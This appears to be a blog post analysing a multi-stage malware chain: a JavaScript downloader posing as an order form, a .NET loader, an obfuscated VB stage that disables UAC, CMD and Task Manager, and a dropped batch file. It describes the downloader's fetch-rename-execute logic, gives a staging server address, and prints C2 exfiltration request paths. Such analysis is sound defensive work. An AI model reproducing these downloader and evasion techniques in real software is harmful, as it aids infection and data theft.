By editing the .js attachment it becomes clear that it is not an “order form” but contrary it turns out to be a downloader. The following image shows the .JS content. Our reverse adventure is going to start: we are facing a first stage of infection.
|Stage 1: Downloader|
By listing the http://126.96.36.199, we might appreciate an nice malware “implant” where multiple files are in place, probably to serve multiple attack vectors (es: emails, or tag inclusions, or script inclusion into benevolent html files). My first analysis was on obf.txt (the following image shows a small piece of it) which woke up my curiosity.
|Lateral Analysis: obf.txt|
That piece of VB code, could be used to obfuscate VBScripts. Many pieces of code belonging to obf.txt are related to the Russian Script-Coding.com thread where dab00 published it on 2011. Another interesting file is the Certificate.js which shows the following code.
|Lateral Analysis: Certificate.js|
Once beautified it becomes easier to read:
|Lateral Analysis: Fresh IoC on Dropper 2|
Now, it’s obvious that it tries to: (i) download stat.exe from third party web sources, (ii) to rename the downloaded file using the Math.random().toString(36).substr(2, 9) + “.exe” and to (iii) launch it by using the var VTmBaOw = new ActiveXObject(“WScript.Shell”); This is super fun and interesting but I am getting faraway from my original attack path.
So, let’s assume the downloaded file are the same (really they are not) and lets get back to our original Stage 1 where a romantic .JS dropper downloads the “set.tmp” file and executes it (please refer to image Stage 1: Downloader).
The dropped file is: 00b42e2b18239585ed423e238705e501aa618dba which is actually evading SandBoxes and AntiVirus engines. It is a PE file which has been implemented in a valid .NET compiled source. Let’s call it Stage 2, since coming after the Stage 1 ;). Decompiling the “Second stage” some “ambiguous and oriental characters” appear as content in the “array” variable (please refer to the following code image).
|Stage 2: Oriental Characters in array|
|Stage 2: Assembly.Load and EntryPoint.Invoke|
|Stage 3: Decrypted PE|
|Stage 2: decryption key|
The decrypted new stage (named: Stage 3) happens to be an interpreted PE file as well ! It is built over Microsoft VisualBasic technology (Do you remember the Lateral Analysis ??) and it’s hardy obfuscated (maybe from obf.txt ? … of course !). The following image shows the Third Stage structure.
|Stage 3: Structure|
|Stage 3: evasion checks|
The service module tries to spawn a windows service and to disable many Windows features such as for example (but not limited to): EnableLUA, DisableCMD, DisableTaskMgr, etc… The following image shows some of the described actions.
|Stage 3: Disabling Windows “Protections”|
Finally the RunPE modules decrypts a further encrypted and embedded resource an tries to run it. The following images show the decryption loop following by the decrypted payload.
|Stage 3: Decryption Loop|
|Stage 3: decrypted payload|
|Stage 4: dropping files (.nls and .bat)|
The resulting .bat file tries to execute (through cmd.exe /c) %1 within the parameter %2 as shown in the next picture. If the file to be executed does not exist in HD it deletes the original file as well (itself).
|Stage 4: file execution|
%1 is an additional dropped PE File while %2 is a “random” value (key? unique id?).
|Stage 4: Interesting “keys” passed to the .bat file.|
Once the sample is run it performs external requests such the following ones, exfiltrating encrypted informations:
GET /htue503dt/images/uAsMyeumP3uQ/LlAgNzHCWo8/XespJetlxPFFIY/VWK7lnAXnqTCYVX_2BL6O/vcjvx6b8nqcXQKN3/J6ga_2FN2zw6Dv6/r5EUJoPCeuwDIczvFL/kxAqCE1du/yzpHeaF3r0pY4KFUCyu0/jDoN_2BArkLgWaG/fFDxP.gif HTTP/1.1
POST /htue503dt/images/YtDKOb7fgj_2B10L/MN3zDY9V3IPW9vr/JSboSiHV4TAM_2BoCU/LocIRD_2B/MEDnB2QG_2Bf2dbtio8H/_2BLdLdN21RuRQj3xt2/SDWwjjE2JeHnPcsubnBWMG/NJUCRhlTnTa9c/5Dzpqg92/AypuGS6etix2MQvl1C8/V.bmp HTTP/1.1
Index Of Compromise:
Following some of the most interesting Index Of Compromise.